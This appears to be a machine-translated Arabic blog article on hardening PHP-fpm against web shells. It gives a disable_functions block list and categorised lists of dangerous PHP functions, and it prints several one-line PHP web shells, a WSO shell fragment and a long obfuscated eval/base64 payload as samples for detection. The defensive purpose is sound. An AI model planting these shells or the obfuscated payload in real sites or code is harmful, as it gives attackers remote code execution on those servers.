Modesco Holding - هي أكثر من 300 موقع معلومات و 5 خدمات إنترنت رئيسية. يتم شراء المشاريع وبيعها بانتظام. كما فهمت ، من المستحيل فعليًا الحفاظ على كود عالي الجودة في هذه الحالة. وتركز الاهتمام الرئيسي للمبرمجين ، كقاعدة عامة ، على الخدمات بأنفسهم. القرصنة ، والصدفة ، وإصابة المواقع بأشياء ضارة أخرى ... كل هذا يتسبب في ضرر كبير للمستخدمين والشركات. لتجنب ذلك ، غالبًا ما يتعين على المرء البحث عن طرق غير قياسية للحد من المخاطر.

fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system";
هذا لا يعني أن جميع الوظائف الخطرة بحاجة ماسة للحظر. هذا لا يعني أنه من خلال تعطيلها ، فإنك بالتأكيد ستحمي نفسك من جميع قذائف PHP. يمكن استخدام معظم هذه الميزات بأمان تام في تطبيقك أو Framework أو المكتبات. يجب التعامل مع كل طلب على حدة. الأمن هو عملية بناء دفاع في العمق ، وتعطيل المهام الخطرة في هذه الحالة هو مجرد واحد من الخطوط المحتملة لهذا الدفاع.
قد تكون قائمة هذه الوظائف مساعدًا للعثور على الملفات المشبوهة. يمكن إخفاء PHP-shell بذكاء شديد - مثال ممتاز على التشويش هو مقالة هابر
تستند هذه المقالة إلى سجل stackoverflow وتجربتنا الخاصة في تحليل مجموعة كبيرة من قذائف PHP .
ما يجب القيام به معها
سيكون من الجيد إيقاف تشغيل بعض الوظائف الخطرة لـ PHP-fpm (أو أي شيء آخر). اترك الفرصة لتنفيذها فقط من خلال PHP-cli. يجب مراقبة ظهور الوظائف الأخرى في الملفات. يجب أن تعامل الثالثة بعناية أكبر وألا تسمح للخطوط غير المطهرة أو التي لم يتم التحقق من صحتها بالوصول إلى الحجج.
وظائف تنفيذ الأوامر
exec expect_popen passthru system shell_exec popen proc_open pcntl_exec
يجب إيقاف تشغيل هذه الميزات أولاً. إذا كنت بحاجة إليها في PHP-fpm ، فأنت تفعل شيئًا خاطئًا. تتيح لك هذه الوظائف الخروج من البيئة المحددة في open_basedir. إن إيقاف جزء فقط من الوظائف لن يكون كافيًا. على سبيل المثال ، تقوم شركة WSO shell المحبوبة ، بحثًا عن فرص لتنفيذ التعليمات البرمجية ، بتعداد الوظائف.
function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; }
ميزات إدارة العملية
pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig
يجب أن يتم إيقاف تشغيلها أيضًا. على سبيل المثال ، تم العثور على proc_open
في WSO. نعم ولا مكان لمثل هذه الوظائف في بيئة PHP-fpm. يجب أن يتم إطلاق البرنامج الخفي من خلال PHP-cli.
phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid
تكشف هذه الوظائف عن معلومات حول نظامك ويمكن أن تسهل إلى حد كبير الهجوم على البرامج الأخرى. يمكن أن يصبح أيضًا مصدرًا لتسرب البيانات السرية ، على سبيل المثال ، في symfony يوصى بتخزين اتصالات قاعدة البيانات في ENV. لذلك ، يُنصح بحظر تنفيذ هذه الوظائف ، باستثناء تلك المستخدمة في التطبيق الخاص بك.
وظائف تنفيذ كود PHP
eval assert preg_replace create_function include include_once require require_once
يجدر التحقق من وجودها في الملفات التي تم تنزيلها وإجراء عمليات فحص منتظمة للملفات الحالية. إلى جانب eval
هناك طرق أخرى لتنفيذ كود PHP. على سبيل المثال ، يمكنك تضمين تضمين ملف JPG معد خصيصًا . ومع ذلك ، تستخدم معظم الإطارات والتطبيقات هذه الوظائف - لا يمكنك تعطيلها. لذلك ، من المهم توخي الحذر الشديد عند استخدامها. يمكن أن يكون Shell سطر واحد فقط:
include("data:text/plain;base64,$_GET[code]");
وظائف التي تستخدم رد الاتصال
ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function
يمكن استخدام هذه الوظائف لاستدعاء وظائف أخرى عن طريق تمرير معلمة سلسلة. يجدر تطبيقها بعناية وعدم السماح للبيانات الأولية بالدخول في وسيطات الوظيفة. بعد كل شيء ، يمكن أن تعمل أيضا لإخفاء القشرة. مثال على أبسط قذيفة باستخدام هذه الوظائف يشبه هذا:
print_r(call_user_func_array($_POST['functie'], array($_POST['argv'])));
وظائف كثيرا ما تستخدم في التعتيم
eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function
غالبًا ما تستخدم هذه الوظائف لإخفاء أصداف PHP المعروفة بالفعل من مضادات الفيروسات ومن أعين المتطفلين. تحقق من الملفات التي تم تنزيلها للتأكد من وجودها ، وإجراء فحوصات منتظمة في الملفات الحالية. مثال على إخفاء قذيفة:
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUhUDuzKDTzNw3/eKQdrJXaUZg4bUDnnNNLp3XBLC09xkwU2S6ze2un5e4xKuj9Gvf2dp3cjsP+s25Kt299l6pry+b/zjyoLY5WplaEOyx/ENb8Rxk2iaDcYTvihc4JLM9ZcCtcP8uIIWX1UZSdQKIJFqoUUXYRHXARW0qaNGFDBbIMAj+aBGVc5+oOYvT3IwAuGqTLJVi0+tKvN8yVn4srOfFnxQ9uAtKy6gQ1LcD3VA8qHatVe1cAIQa9EDvEyrjTCZ2iUotTlFg8EACl31Qp34MMLhFEncgtoKBwETRSZdT84S//KTxNYC07c9lLjcyYSBjG2K5Dkqq5RByubq/hA6VKAgX8QHWrVlCpWIkeCMZlzRKMDDtDJMxI2PT5UkMCDnzpYvTKt5ERZysWzP/Pp3tR9m1D6eHtDaa3hR480VGteNaV6QaeRxoqgbtM4rqBBXKZUxyquGEiAu4ye6p0T4yxCkkuKld5pV7GZjtboO9n57nDRwIqt8xCsWKC/W3AxzHIfevGogdiC/nIEp6XwJ3fHM3rbRTLxvLREEeu5QuJhlS+ocbs96etK8WgqaEfIdtMBJIVqjH3qTUjbws6tTTYdJ/p+p9E9se+kLQ10K5T3wRd3k75E3SQykn33HbWeVHVMjnSlmtxKpInqnvFPiDCJ72LmUv/1HL2ojxTJWRjlO5hx5zle5sezKOHE+l5WOAPCY0X5hJLdiK6EgrpXyPLWDezu8fXZvyhUoKNpqNYwl2Brm3GzJH3Vq/mhajtyDgY2sbQpuaOAJKxyHVjvwqjFCLF6CIJDo1WHN7yoGedPvokN/UBZuMo/baFT19h4mT0Eo9XMfbfLw2b17j3InYqnivhLsnl9iiPNUGCfshskpBueNXh6xgzR2soJI230b0gyEsBaR6aRIXV/OT2UHmcEkuxWRniIQTd5i0ImuVlaEsSwutSFI5VUdQz/wObUsWypDsUgS3fAffd4pw652q/0mjum4zun0lfWCLByIJgyKvanQHMz6nO6zZfDIqGRU39nGoT4tEyYxRBz5O9rBFVldqv+2fU466xxDmU4k2VjXqWewsLCcrrj0zx/m2HK71wWKKfcCijLnP62thbrvqPwZD1Cqz7HO/zvio2v5bn3ruRHK+jZa6PT06DCTNJRxA2qtJBJPu6QdHwqET6Zo2X9SjbVwtvl5VtHDkFAywGbpAQVTBVg7VlTIXxRFS2LPNGdhNbtEMCLLrJgfW8WRAF4dfjEKHMqb1+NaP8lXxpCUrryJOb0Zg4LrwBnJrkGkTwWP6NfBgDAIZEWLL/1ann6O+k6eXqSqBxx12U2x774kskF3TZKKWxB1qlAlL45nk86HHaqVE+k18gQYWHZWJleaHOs1UIO0b35Y4I4hoiF+75Fi1aocQlI/xpL9LjbCtI1JOZVR2tWmOunUzJbEXH5wN8MpxFR6qnNDhHAfH7UwDG4uI6qT40fKtp836iZpZMWInbIY0Tdp/vMmeGS58j9qh+8UX5XUswKjxV3fXEu/rRZK5tVVE396gM4UsM3GJ8FmULoOmZiFf8sQsWTBqPPnVplOSJXk8XTOJCIYAZg/VASyDNhrOwLo9azEh8ZDZD82h7OHLockJLPR9RAx2YsFf+TTPuMnvV7jzC76jH/ncn441mM2DMRaMso7T2++8ViijBE6xuUvGfK62B/mv5+KOlbkD9+91XP99lxn/X5IKri7UeOMTs4Tpa58+ELVZuJPv3RpT5qU9gV5XiSiAo72bw9Fursx4mRkPqlDOFuXga01yFZaq8tP2HtnzdLZyRvGmYrKyQpuYR/ecWJFmFI4fR1nrsY3Htoz+l6LsFan2fQWnaZs8ZNjbHR21LinxaNWwadHKdlrhf6WcoSNNCyHNGYNYZzDEo44nYhWDIqedrHdcUCtHxAnIaIiQNy4qVQL4hr7kkrPz7DmuP2xUgSfEiwGRIqPolCubhmSRm/nUARKN8Hccg9SvR1zqmQYw9f85WNN43Q2mIM7wKe788CUvca+b0ULvnOvXUhxqG58zHye+cegrwd0f+ts77TQHqGDUHwzjFDhVgSFqfHbX+MMaZNcGgzYvZFj4XP8dEUF5Tw5ODfGTV7DNCr67wMqoiKJ7Q/lzxvgW2ClKbzReJjvA6XZDEpQMjd2v03uJsDpjP+oPY//wLfv/8L')))));
ميزات نظام الملفات
fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags
يمكن استخدام هذه الوظائف لتنزيل الملفات أو الكشف عن معلومات حول النظام - الأمر يستحق استخدامها بحذر. يمكن للعديد من قذائف PHP تحميل ملفات الطرف الثالث عبر بروتوكول نقل الملفات. قذيفة PHP بسيطة لتحميل ملف تعسفي تبدو كما يلي:
copy($_GET['s'], $_GET['d']);
آخر
extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid
هناك حاجة أيضًا إلى الحذر في هذه الوظائف ، وبعضها محظور بشكل أفضل. على سبيل المثال ، يمكن استخدام البريد لإرسال البريد العشوائي إلى موقع مصاب. إذا كان التطبيق الخاص بك لا ينوي استخدام هذه الوظائف ، فقم بتعطيلها. البناء التالي ليس خائفًا ، ولكنه أحد أصغر قذائف PHP:
@extract($_REQUEST); @die ($ctime($atime));
استنتاج
يعد تعطيل وظائف PHP غير الآمنة طريقة واحدة لتقليل مخاطر نفاد الموارد. إذا كان الأشخاص الذين لديهم "معرفة محددة" يشاركون في مشروعك ، فمن المحتمل أن يسقط.
أثبتت هذه الحماية أنها جيدة بشكل خاص على المواقع على CMS - فهي مصابة ، كقاعدة عامة ، بالشبكات الضارة في الوضع التلقائي. إذا تعذر على روبوت المسح تشغيل الأمر أو قذيفة PHP المغمورة ، فمن المرجح أن ينتقل إلى الموقع التالي.
آمل أن يشجع هذا المقال المبتدئين على أن يكونوا أكثر حرصًا بشأن تصفية البيانات الواردة من المستخدم وحمايتها والتحقق من صحتها.
لا تتظاهر المقالة بمعرفة فريدة - فقد تمت مصادفة هذه المادة بالفعل في Runet بشكل أو بآخر. النص عبارة عن مادة معممة ومنظمة تدعو إلى لفت الانتباه إلى المشكلة.
ربما سيكون قادراً على تحفيز شخص ما لكتابة مواد معقدة حول أمان Wordpress ، أو أي CMS آخر.